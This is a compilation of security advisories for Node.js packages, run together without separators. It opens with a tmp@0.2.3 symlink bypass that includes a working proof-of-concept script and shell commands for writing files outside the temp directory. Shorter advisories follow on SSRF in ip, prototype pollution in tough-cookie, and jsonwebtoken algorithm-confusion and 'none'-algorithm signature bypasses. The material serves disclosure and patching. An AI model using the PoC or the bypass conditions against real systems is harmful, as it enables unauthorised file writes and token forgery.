Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.


// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

• Setup: create a symbolic link inside the tmpDir that points to a directory outside of it

mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir

• check the folder is empty:

ls -lha $HOME/mydir1 | grep "tmp-"

• run the poc

node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".

• the temporary file is created under $HOME/mydir1 (outside the tmpDir):

ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]

• main.js

// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink

The ip package through 2.0.1 for Node.js might allow SSRF because some IP addresses (such as 127.1, 01200034567, 012.1.2.3, 000:0:0000::01, and ::fFFf:127.0.0.1) are improperly categorized as globally routable via isPublic. NOTE: this issue exists because of an incomplete fix for CVE-2023-42282.

Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. This issue arises from the manner in which the objects are initialized.

Overview

Versions <=8.5.1 of jsonwebtoken library could be misconfigured so that legacy, insecure key types are used for signature verification. For example, DSA keys could be used with the RS256 algorithm.

Am I affected?

You are affected if you are using an algorithm and a key type other than the combinations mentioned below

| Key type | algorithm | |----------|------------------------------------------| | ec | ES256, ES384, ES512 | | rsa | RS256, RS384, RS512, PS256, PS384, PS512 | | rsa-pss | PS256, PS384, PS512 |

And for Elliptic Curve algorithms:

| alg | Curve | |-------|------------| | ES256 | prime256v1 | | ES384 | secp384r1 | | ES512 | secp521r1 |

How do I fix it?

Update to version 9.0.0. This version validates for asymmetric key type and algorithm combinations. Please refer to the above mentioned algorithm / key type combinations for the valid secure configuration. After updating to version 9.0.0, If you still intend to continue with signing or verifying tokens using invalid key type/algorithm value combinations, you’ll need to set the allowInvalidAsymmetricKeyTypes option to true in the sign() and/or verify() functions.

Will the fix impact my users?

There will be no impact, if you update to version 9.0.0 and you already use a valid secure combination of key type and algorithm. Otherwise, use the allowInvalidAsymmetricKeyTypes option to true in the sign() and verify() functions to continue usage of invalid key type/algorithm combination in 9.0.0 for legacy compatibility.

Overview

Versions <=8.5.1 of jsonwebtoken library can be misconfigured so that passing a poorly implemented key retrieval function (referring to the secretOrPublicKey argument from the readme link) will result in incorrect verification of tokens. There is a possibility of using a different algorithm and key combination in verification than the one that was used to sign the tokens. Specifically, tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm. This can lead to successful validation of forged tokens.

Am I affected?

You will be affected if your application is supporting usage of both symmetric key and asymmetric key in jwt.verify() implementation with the same key retrieval function.

How do I fix it?

Update to version 9.0.0.

Will the fix impact my users?

There is no impact for end users

Overview

In versions <=8.5.1 of jsonwebtoken library, lack of algorithm definition and a falsy secret or key in the jwt.verify() function can lead to signature validation bypass due to defaulting to the none algorithm for signature verification.

Am I affected?

You will be affected if all the following are true in the jwt.verify() function:

• a token with no signature is received
• no algorithms are specified
• a falsy (e.g. null, false, undefined) secret or key is passed

How do I fix it?

Update to version 9.0.0 which removes the default support for the none algorithm in the jwt.verify() method.

Will the fix impact my users?

There will be no impact, if you update to version 9.0.0 and you don’t need to allow for the none algorithm. If you need 'none' algorithm, you have to explicitly specify that in jwt.verify() options.